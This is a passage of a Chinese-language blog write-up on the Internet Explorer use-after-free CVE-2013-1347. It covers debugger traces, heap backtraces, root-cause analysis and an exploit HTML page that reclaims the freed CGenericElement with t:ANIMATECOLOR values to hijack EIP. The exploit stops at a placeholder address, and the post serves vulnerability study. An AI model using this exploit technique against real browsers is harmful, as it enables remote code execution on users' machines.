28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
0:013> bu ISpanQualifier::GetFancyFormat
0:013> g
ModLoad: 6c020000 6c0d2000 C:\Windows\System32\jscript.dll
Breakpoint 0 hit
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429af esp=0448acf0 ebp=0448acfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat:
682429af 8bff mov edi,edi
0:005> p
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b1 esp=0448acf0 ebp=0448acfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x2:
682429b1 55 push ebp
0:005>
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b2 esp=0448acec ebp=0448acfc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x3:
682429b2 8bec mov ebp,esp
0:005>
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b4 esp=0448acec ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x5:
682429b4 56 push esi
0:005> p
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b5 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x6:
682429b5 8bf0 mov esi,eax
0:005> p
eax=06ad8fb0 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429b7 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x8:
682429b7 e872330400 call mshtml!ISpanQualifier::IsTreeNodeQualifier (68285d2e)
0:005> p
eax=00000001 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429bc esp=0448ace8 ebp=0448acec iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
mshtml!ISpanQualifier::GetFancyFormat+0xd:
682429bc 84c0 test al,al
0:005>
eax=00000001 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429be esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0xf:
682429be 0f849e5d2300 je mshtml!ISpanQualifier::GetFancyFormat+0x1a (68478762) [br=0]
0:005>
eax=00000001 ebx=059d3fa0 ecx=00000805 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429c4 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x11:
682429c4 8bce mov ecx,esi
0:005>
eax=00000001 ebx=059d3fa0 ecx=06ad8fb0 edx=059d3fa0 esi=06ad8fb0 edi=0448ad28
eip=682429c6 esp=0448ace8 ebp=0448acec iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!ISpanQualifier::GetFancyFormat+0x13:
682429c6 e84e881600 call mshtml!CTreeNode::GetFancyFormat (683ab219)
0:005> ln poi(poi(06ad8fb0))
(682a8fd8) mshtml!CSpanElement::`vftable' | (681b73d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CSpanElement::`vftable' = <no type information>

继续回溯 mshtml!SLayoutRun::HasInlineMbp 函数。
QQ截图20180712202009.png-60.9kB
继续回溯到函数 mshtml!SRunPointer::HasInlineMbp,在调用 SLayoutRun::HasInlineMbp 函数之前也调用了 SRunPointer::SpanQualifier(void)。如下图
QQ截图20180712203202.png-38.4kB
跟进函数 SRunPointer::SpanQualifier(void) 发现其主要功能是 eax= [[eax+4]+c],现在的 eax 即为 CTreeNode 的地址。
QQ截图20180712203237.png-46.7kB
下面通过 windbg 调试看下在崩溃前 eax+4 地址处内存。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
'=====eax+4====='
0481cec8 07516fd0 00000000 06f58fc8 0481cf0c
0481ced8 685b4b64 0481cef3 00000000 00000000
0481cee8 0481d018 68625be8 0000cf04 00000000
0481cef8 00000031 0481cf73 687406bf 0481cf58
0481cf08 685ecc7b 0481cf58 687fe223 0481cf77
0481cf18 0481cf8b 07e30ff0 0481d048 00000002
0481cf28 05520fd8 00000000 0481cf8b 06f58f00
0481cf38 0481d001 05e51fd8 00000000 05520fd8
(ddc.b50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=68a89100 ebx=06faafb0 ecx=078cefc8 edx=00000000 esi=0481cba8 edi=00000000
eip=6870b68d esp=0481cb7c ebp=0481cb94 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6870b68d 8b01 mov eax,dword ptr [ecx] ds:0023:078cefc8=????????
0:005> dd 07516fd0 LC
07516fd0 00000805 00000002 06faafc0 06faafb0
07516fe0 00000806 00000003 06faafd8 06faafb0
07516ff0 00000806 00000004 05e51fd8 05e51fb0
0:005> dd 07516fc0 L10
07516fc0 00000805 00000001 05e51fc0 05e51fb0
07516fd0 00000805 00000002 06faafc0 06faafb0
07516fe0 00000806 00000003 06faafd8 06faafb0
07516ff0 00000806 00000004 05e51fd8 05e51fb0
0:005> ln poi(poi(05e51fb0))
(68648fd8) mshtml!CSpanElement::`vftable' | (685573d8) mshtml!CBlockElement::`vftable'
Exact matches:
mshtml!CSpanElement::`vftable' = <no type information>

如上,eax+4 指向一个结构体数组,还原结构体的大概如下

1
2
3
4
5
6
7
struct elememt_arry
{
int unkown;
int id;
int CTreePos;
int CTreeNode;
};

下面通过栈回溯去查看这个数组所占内存的来源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0:005> !heap -p -a 07516fc0
address 07516fc0 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
75105e4: 7516fc0 40 - 7516000 2000
6cba8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77235e26 ntdll!RtlDebugAllocateHeap+0x00000030
771fa376 ntdll!RtlpAllocateHeap+0x000000c4
771c5ae0 ntdll!RtlAllocateHeap+0x0000023a
6870d7d0 mshtml!_HeapRealloc+0x00000036
687234e2 mshtml!CImplAry::EnsureSizeWorker+0x000000a1
686c9b04 mshtml!CImplAry::AppendIndirect+0x00000027
68609ad9 mshtml!CTextBlock::AddAtomRun+0x00000105
68612b04 mshtml!CTextBlock::BuildSpanBeginRun+0x000000c4
68603e11 mshtml!CTextBlock::BuildTextBlock+0x00000aeb
68603488 mshtml!CLayoutBlock::BuildBlock+0x000001ec
685f0775 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d
685f04ee mshtml!CLayoutBlock::BuildBlock+0x000001c1
685f0775 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d
685f04ee mshtml!CLayoutBlock::BuildBlock+0x000001c1
685f0775 mshtml!CBlockContainerBlock::BuildBlockContainer+0x0000059d
685f04ee mshtml!CLayoutBlock::BuildBlock+0x000001c1
685f1290 mshtml!CCssDocumentLayout::GetPage+0x0000022a
685f2176 mshtml!CCssPageLayout::CalcSizeVirtual+0x00000254
6875566c mshtml!CLayout::CalcSize+0x000002b8
68765c6b mshtml!CLayout::DoLayout+0x0000011d
686293f1 mshtml!CCssPageLayout::Notify+0x00000140
6871e667 mshtml!NotifyElement+0x00000041
6872c76b mshtml!NotifyAncestors+0x000001b7
6871214b mshtml!CMarkup::SendNotification+0x00000092
687120be mshtml!CMarkup::Notify+0x000000d6
6875c083 mshtml!CElement::SendNotification+0x0000004a
6879574e mshtml!CElement::EnsureRecalcNotify+0x0000015f
68581242 mshtml!CElement::GetOffsetParentHelper+0x00000060
6865d442 mshtml!CElement::get_offsetParent+0x00000030
6878bb55 mshtml!G_IDispatchp+0x0000007b
68635ea6 mshtml!CBase::ContextInvokeEx+0x000002d0

下面看泉哥说的数组是在创建CTextBlock时生成的,CTreeNode+0x44保存的是结构 CTextBlock的地址,CTextBlock+0x58 存储的时数组地址(偷下懒)。
下面都是参考的 exp-sky 前辈的 CVE-2013-1347 Microsoft Internet Explorer CGenericElement Object Use After Free Vulnerability Analysis。(自己好弱

通过对比分析发现当 javascript 代码块中存在修改 DOM 树的代码时,并且存在未被渲染的DOM元素时(新创建的 DOM 元素)如果调用了 offsetParent 代码(可根据任意元素来引用)。将导致未被渲染过的元素属性被修改为已渲染。这样在修改其 DOM 节点时(如通过 innerHTML 属性来释放其所有子元素)也不会通过CtreeNode::ComputeFormats 函数重新计算节点格式。导致浏览器并不知道元素释放情况,也未更新元素节点关系。
正常的处理流程是,当通过 innerHTML 释放了未被渲染的元素的所有子元素后。其会通过以下流程的函数调用最终调用到 CtreeNode::ComputeFormats 函数对 CTreeNode节点进行重新计算。

1
2
3
4
5
6
7
8
9
10
GS_PropEnum
|- CElement::put_innerHTML
|- Celement::InjectCompatBSTR
|- CElement_InjectInternal
|- CtreeNode::IsEditable
|- CtreeNode::GetCharFormat ⇐ 判断属性
|- CtreeNode::GetCHarFormatHelper
|- CtreeNode::GetCharFormatIndexHelper
|- CtreeNode::ComputeFormatsHelper
|- CtreeNode::ComputeFormats

CtreeNode::GetCharFormat 会判断 CTreeNode 的属性,即偏移 0xc 处的引用计数值,当引用计数值大于0时,表示已经渲染,无需重新计算 CTreeNode,因此则不进入 CtreeNode::GetCHarFormatHelper 函数也无法调用到其后续函数 CtreeNode::ComputeFormatsCTreeNode 进行重新计算。这种情况下处理流程如下

1
2
3
4
5
6
GS_PropEnum
|- CElement::put_innerHTML
|- Celement::InjectCompatBSTR
|- CElement_InjectInternal
|- CtreeNode::IsEditable
|- CtreeNode::GetCharFormat ⇐ 判断属性

javascript 执行完成后,浏览器会重新渲染 DOM 树,因为之前并没有去重新计算CGenericElementCTreeNode 节点,导致了浏览器仍然企图渲染释放后的元素。最终引用了释放后的元素,成功利用后可以导致任意代码执行。

exploit分析

发现泉哥书里还是由很多错误的,比如再分析这个的时候p315CTreeNode被清除,还有p325CGenericElement的对象大小应为 0x38
QQ截图20180713000129.png-4.3kB
利用 t:ANIMATECOLOR 来重用被释放的对象,尝试控制 eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
animvalues = "";
// mshtml!CElement::Doc:
// 6586c815 8b01 mov eax,dword ptr [ecx]
// 6586c817 8b5070 mov edx,dword ptr [eax+70h]
// 6586c81a ffd2 call edx
for (i=0; i <= 0x70/4; i++) {
// t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针
// 由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确控制edx值
if (i == 0x70/4) {
//animvalues += unescape("%u5ed5%u77c1");
animvalues += unescape("%u4141%u4141"); // 控制edx=0x41414141
}
else {
animvalues += unescape("%u4242%u4242"); // 0x42424242
}
}
for(i = 0; i < 13; i++) {
// t:ANIMATECOLOR 标签值是一个用分号分隔的字符串,分号的个数决定对象的大小,
// 对象的每个元素都是一个指针,指向分号分隔出来的字符串
// 漏洞对象CGnericElement大小0x38,所以这里需要包含0x38/4=13个分号 14个字符串
animvalues += ";red";
}
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
try {
//使用 t:ANIMATECOLOR 标签可以自由设置其内容,控制对象大小
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>

QQ截图20180713001839.png-83.4kB
可以看到我们已经成功劫持了 eip,下面就是 rop 的构造啦,具体的可以参考msf提供的脚本。

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. cve-2010-2883
    1. 1.1. 漏洞概览
    2. 1.2. 触发条件
    3. 1.3. 利用技巧
    4. 1.4. exploit分析
  2. 2. CVE-2013-1347
    1. 2.1. poc 分析
    2. 2.2. DOM树创建
    3. 2.3. 漏洞原因
    4. 2.4. exploit分析
,